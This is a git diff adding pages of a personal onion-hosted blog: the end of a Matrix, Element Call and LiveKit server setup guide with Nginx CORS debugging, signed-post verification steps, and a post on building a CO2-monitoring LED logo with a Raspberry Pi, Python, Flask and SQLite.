    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    + + Hello World + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/ + Mon, 25 Aug 2025 08:53:38 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/ + <p>This is a test hello world post just to make sure everything works!</p> +<hr> +<div class="signature-block" style="margin-top:1rem"> + <p><strong>Downloads:</strong> + <a href="http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md">Markdown</a> · + <a href="http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc">Signature (.asc)</a> + </p><details class="signature"> + <summary>View OpenPGP signature</summary> + <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY&#43;8puTLs6Na2t7 +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX&#43;uFYE +B3ioZqc4wJyDFaGWO&#43;ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX&#43;odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc +62eMm1khV99Gljg&#43;XbAG6A0KI7nO5TS464/JkU1&#43;d/inWjXmSkocTep9p1H/M&#43;nt +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE&#43;AcGR7cb9CxicTuzs8K&#43;kLzQBQSep +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B&#43;5rhDP4uT +6Q1OmbB4xs7jM&#43;WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= +=kuAP +-----END PGP SIGNATURE----- +</pre> + </details><p><em>Verify locally:</em></p> + <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc +gpg --verify hello-world.md.asc hello-world.md + </pre> +</div> + This is a test hello world post just to make sure everything works!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7
    +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB
    +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE
    +B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC
    +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ
    +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ
    +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc
    +62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt
    +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep
    +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT
    +6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo=
    +=kuAP
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc
    +gpg --verify hello-world.md.asc hello-world.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/posts/inet_logo.asc b/public-onion/posts/inet_logo.asc new file mode 100644 index 0000000..612cb51 --- /dev/null +++ b/public-onion/posts/inet_logo.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAwYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qpE8QAK6SQRXn7tg6fdXP8ZtsRNLE +3nOc3esCbMYzOT7a4/GXt0uAuSpwNpkz+PS2vHFQwXQZqW3XVJ2VBkbUjgdcuDf1 +Y2yE4mNkZQvdbSepHx7HWvxjXRqfd4akRFD9nox5LMcSGTKyyirb1sfTxBGT1GPB +4RRHYeHuVNrnmBQyvb+gGTRbK0m4VoXYBTqM6HmWJFHTxDSuyRJe6aWbU2zOPpDd +DiKh4BWgq+kuailwWIJmLWjUfI5CLakCAKZPWx/COGcxvUh0qiXHqwKThaUJV50X +2VwehGCWRlUJXuYd7eE2jgMmBC+UgmEri4oUU69ofsAPVteI0St3aDegyR/g5KuZ +MJfAgWwfg0oLTQpJ9c+xkpDcRz1iRLXcOTVRW0WdLgOF1hRxS1C0fmSNQoQG7i04 +MpBjNy+SJpheyzUextzg5z/9hDtOmhdQHMJgHgO93o62UwBraQyj3Qesh2O7rCoI +hxV37sBWgXZYMra13H9Et0q7Nur/OU6d/WDWkbEWPhmhfuusoBdcrjjPE4xzFPv8 +pdbHxCQIXmb6ns8oQxL81Ue7flSFsfzeVoVMisC8tGN+G0nNPFexXfynSrAMAU7i +hfSiCQUjsqVZJ+Ao7uNHXRVf+bB4jGWZya7Upq/ZIMSJQGi0aZevY72SqZa/BpEJ +7CFj2KaKaQ/tZYLK34DZ +=AMrA +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/inet_logo/index.html b/public-onion/posts/inet_logo/index.html new file mode 100644 index 0000000..ef7fec4 --- /dev/null +++ b/public-onion/posts/inet_logo/index.html @@ -0,0 +1,931 @@ + + + + + + + +INET Logo That Breathes — From CAD to LEDs to a Calm Little Server | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + INET Logo That Breathes — From CAD to LEDs to a Calm Little Server +

    + +
    +
    + Six looks of the INET LED logo +
    Design → print → solder → code → glow.
    +
    +
    +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
